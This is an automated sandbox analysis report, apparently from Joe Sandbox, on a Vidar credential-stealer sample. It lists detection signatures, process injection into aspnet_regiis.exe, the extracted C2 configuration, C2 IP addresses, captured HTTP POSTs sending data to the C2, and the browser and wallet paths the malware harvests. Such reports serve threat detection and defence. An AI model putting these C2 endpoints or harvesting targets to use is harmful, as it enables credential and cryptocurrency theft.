Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1524661
MD5:	37ec6ac7a655216941a30dc46fe1b189
SHA1:	cf6637aabee2fd26a76e30db0a289201305372fb
SHA256:	677862ec62130345467fc6472bfbeff124fd2716897db3f8549c29f016ef13cd
Tags:	exeuser-Bitsight
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2960 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 37EC6AC7A655216941A30DC46FE1B189)

conhost.exe (PID: 5756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

aspnet_regiis.exe (PID: 5576 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" MD5: 5D1D74198D75640E889F0A577BBF31FC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "bb7310eab4245006f125c442da2d1e50"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2960	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2960	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2960	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 5576	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 5576	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 5576	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 5576	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.6e820000.6.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.6e820000.6.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.6e820000.6.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.6e820000.6.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
3.2.aspnet_regiis.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.aspnet_regiis.exe.400000.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
3.2.aspnet_regiis.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.aspnet_regiis.exe.400000.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.6e7f0000.4.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.6e7f0000.4.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 5 entries

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T03:35:53.721399+0200	2028765	3	Unknown Traffic	192.168.2.6	49722	49.12.197.9	443	TCP
2024-10-03T03:35:54.941629+0200	2028765	3	Unknown Traffic	192.168.2.6	49723	49.12.197.9	443	TCP
2024-10-03T03:35:56.366413+0200	2028765	3	Unknown Traffic	192.168.2.6	49724	49.12.197.9	443	TCP
2024-10-03T03:35:57.730654+0200	2028765	3	Unknown Traffic	192.168.2.6	49725	49.12.197.9	443	TCP
2024-10-03T03:35:59.102733+0200	2028765	3	Unknown Traffic	192.168.2.6	49726	49.12.197.9	443	TCP
2024-10-03T03:36:00.559955+0200	2028765	3	Unknown Traffic	192.168.2.6	49727	49.12.197.9	443	TCP
2024-10-03T03:36:01.905602+0200	2028765	3	Unknown Traffic	192.168.2.6	49728	49.12.197.9	443	TCP
2024-10-03T03:36:04.977333+0200	2028765	3	Unknown Traffic	192.168.2.6	49729	49.12.197.9	443	TCP
2024-10-03T03:36:06.117394+0200	2028765	3	Unknown Traffic	192.168.2.6	49730	49.12.197.9	443	TCP
2024-10-03T03:36:07.390575+0200	2028765	3	Unknown Traffic	192.168.2.6	49731	49.12.197.9	443	TCP
2024-10-03T03:36:08.845534+0200	2028765	3	Unknown Traffic	192.168.2.6	49732	49.12.197.9	443	TCP
2024-10-03T03:36:10.824936+0200	2028765	3	Unknown Traffic	192.168.2.6	49733	49.12.197.9	443	TCP
2024-10-03T03:36:12.845715+0200	2028765	3	Unknown Traffic	192.168.2.6	49735	49.12.197.9	443	TCP
2024-10-03T03:36:14.763414+0200	2028765	3	Unknown Traffic	192.168.2.6	49736	49.12.197.9	443	TCP
2024-10-03T03:36:16.183576+0200	2028765	3	Unknown Traffic	192.168.2.6	49737	49.12.197.9	443	TCP
2024-10-03T03:36:17.668662+0200	2028765	3	Unknown Traffic	192.168.2.6	49738	49.12.197.9	443	TCP
2024-10-03T03:36:20.838688+0200	2028765	3	Unknown Traffic	192.168.2.6	49739	49.12.197.9	443	TCP
2024-10-03T03:36:22.146206+0200	2028765	3	Unknown Traffic	192.168.2.6	49740	49.12.197.9	443	TCP
2024-10-03T03:36:23.489607+0200	2028765	3	Unknown Traffic	192.168.2.6	49741	49.12.197.9	443	TCP
2024-10-03T03:36:25.031403+0200	2028765	3	Unknown Traffic	192.168.2.6	49743	49.12.197.9	443	TCP
2024-10-03T03:36:27.088335+0200	2028765	3	Unknown Traffic	192.168.2.6	49744	49.12.197.9	443	TCP
2024-10-03T03:36:28.988557+0200	2028765	3	Unknown Traffic	192.168.2.6	49745	49.12.197.9	443	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T03:35:58.429229+0200	2044247	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.6	49725	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T03:35:59.801644+0200	2051831	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.6	49726	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T03:35:58.429123+0200	2049087	1	A Network Trojan was detected	192.168.2.6	49725	49.12.197.9	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T03:36:30.410110+0200	2803270	2	Potentially Bad Traffic	192.168.2.6	49746	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "bb7310eab4245006f125c442da2d1e50"}

Multi AV Scanner detection for domain / URL

Source: https://49.12.197.9/N	Virustotal: Detection: 9%	Perma Link
Source: https://49.12.197.9/	Virustotal: Detection: 10%	Perma Link
Source: https://49.12.197.9/sqlp.dll	Virustotal: Detection: 11%	Perma Link
Source: https://49.12.197.9	Virustotal: Detection: 10%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 21%
Source: file.exe	Virustotal: Detection: 30%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\msvcp110.dll

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	3_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	3_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	3_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	3_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7A6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	3_2_6C7A6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.6:49729 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: aspnet_regiis.exe, 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.3.dr
Source:	Binary string: freebl3.pdb source: aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.3.dr
Source:	Binary string: freebl3.pdbp source: aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.3.dr
Source:	Binary string: nss3.pdb@ source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3403233819.000000006C9CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.3.dr
Source:	Binary string: softokn3.pdb@ source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: aspnet_regiis.exe, 00000003.00000002.3394302971.000000003A330000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: aspnet_regiis.exe, 00000003.00000002.3389107122.000000002E456000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source:	Binary string: nss3.pdb source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3403233819.000000006C9CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.3.dr
Source:	Binary string: mozglue.pdb source: aspnet_regiis.exe, 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.3.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E8120ED FindFirstFileExW,	0_2_6E8120ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	3_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	3_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

3_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]		3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax		3_2_004014AD

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.6:49725 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 49.12.197.9:443 -> 192.168.2.6:49725
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 49.12.197.9:443 -> 192.168.2.6:49726

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199780418869

Source: global traffic

HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 49.12.197.9 49.12.197.9
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 147.45.44.104 147.45.44.104

Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49725 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49723 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49727 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49726 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49722 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49728 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49724 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49729 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49732 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49733 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49731 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49730 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49735 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49736 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49737 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49738 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49741 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49745 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49743 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49739 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49744 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49740 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49746 -> 147.45.44.104:80

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFCAFCBKECBGCFIIJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 255Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
